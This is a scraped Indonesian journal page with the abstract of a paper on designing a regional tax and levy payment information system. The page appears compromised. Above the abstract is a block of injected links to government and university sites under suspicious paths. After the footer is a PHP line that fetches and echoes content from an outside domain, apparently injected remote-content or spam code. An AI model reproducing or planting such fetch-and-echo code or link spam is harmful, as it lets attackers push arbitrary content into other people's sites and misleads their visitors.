https://apdol.sukabumikab.go.id/ https://e-journal.iaknambon.ac.id/ https://mahasiswa.unpacti.ac.id/ https://bloxliving.com/ https://silon.demokrat.or.id/data/ https://repository.unwim.ac.id/ https://peradaban.ac.id/mishok/ https://repository.unwim.ac.id/assets/misterhok/ https://simarbel.ft.undip.ac.id/vendor2/mpdf/mpdf/tmp/mister/ https://kampungkeling.org/ https://infolaras.bpbd.garutkab.go.id/ http://manfaat.pesantren-insan-pratama.sch.id/ https://silon.demokrat.or.id/ https://tbi.uinsgd.ac.id/source/ https://tbi.uinsgd.ac.id/pol/ https://bkpsdmad.sambas.go.id/gaspol/ https://registrasifasyankes.kemkes.go.id/assets/ https://pacarzeus.blogspot.com/ https://silon.demokrat.or.id/mujijat/ https://jurnalfuda.iainkediri.ac.id/kas/ https://pronatel.sragenkab.go.id/ https://ffarmasi.unand.ac.id/pzeus/ https://wisma-sukajadi.kemkes.go.id/berkah/
ANALISA DAN PERANCANGAN SISTEM INFORMASI PEMBAYARAN PAJAK/RETRIBUSI DAERAH PADA UPT. DIPENDAKECAMATAN GAUNG KABUPATEN INDRAGIRI HILIR | Ilyas | Sistemasi: Jurnal Sistem Informasi

ANALISA DAN PERANCANGAN SISTEM INFORMASI PEMBAYARAN PAJAK/RETRIBUSI DAERAH PADA UPT. DIPENDAKECAMATAN GAUNG KABUPATEN INDRAGIRI HILIR

Ilyas Ilyas, Abdullah Abdullah

Abstract


Pajak dan Retribusi Daerah merupakan sebagian dari sumber pendapatan daerah agar daerah dapat melaksanakan otonominya, yaitu mampu mengatur dan mengurus rumah tangganya sendiri, disamping penerimaan yang berasal dari Pemerintahan Pusat berupa subsidi / bantuan dan bagi hasil pajak dan bukan pajak. Sumber pendapatan daerah tersebut diharapkan menjadi sumber pembiayaan penyelenggaraan pemerintahan dan pembangunan, untuk meningkatkan dan meratakan kesejahteraan masyarakat. Pajak daerah dan pajak pusat merupakan satu sistem perpajakan Indonesia yang pada dasarnya merupakan beban masyarakat sehingga perlu dijaga agar kebijaksanaan perpajakan tersebut dapat memberikan beban yang adil. Sejalan dengan perpajakan pusat, maka pembinaan pajak daerah harus dilakukan secara terus-menerus terutama mengenai obyek dan tarif pajaknya supaya antara pajak pusat dan daerah tersebut saling melengkapi. Untuk melaksanakan otonomi daerah, sesuai dengan ketentuan Undang-undang No. 5 Tahun 1974 tentang Pokok-pokok Pemerintahan di daerah yang dititik beratkan pada Daerah Tk. III, maka perlu adanya usaha untuk meningkatkan penerimaan daerah yang berasal dari Pendapatan Asli Daerah. Usaha meningkatkan Pendapatan Asli Daerah akan berpangkal pada kapasitas administrasi daerah dalam penyelenggaraan Perpajakan/Retribusi Daerah. Peningkatan kapasitas administrasi daerah akan menjangkau segi-segi yang berhubungan dengan tata kerja dan hubungan kerja antara dinas atau unit lain yang ada kaitannya dengan Pelaksanaan Pemungutan Pajak Daerah dan Retribusi Daerah serta Penerimaan Lain-lain untuk mencapai daya guna dan hasil guna secara optimal.

Kata kunci : Pengolahan data, pengolahan data pajak, Database MySql



Full Text:

PDF


DOI: https://doi.org/10.32520/stmsi.v3i3.145

Article Metrics

Abstract view : 1409 times
PDF - 244 times

Refbacks

  • There are currently no refbacks.


Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
$a = file_get_contents('https://selingkuhanmu.us/'); echo $a;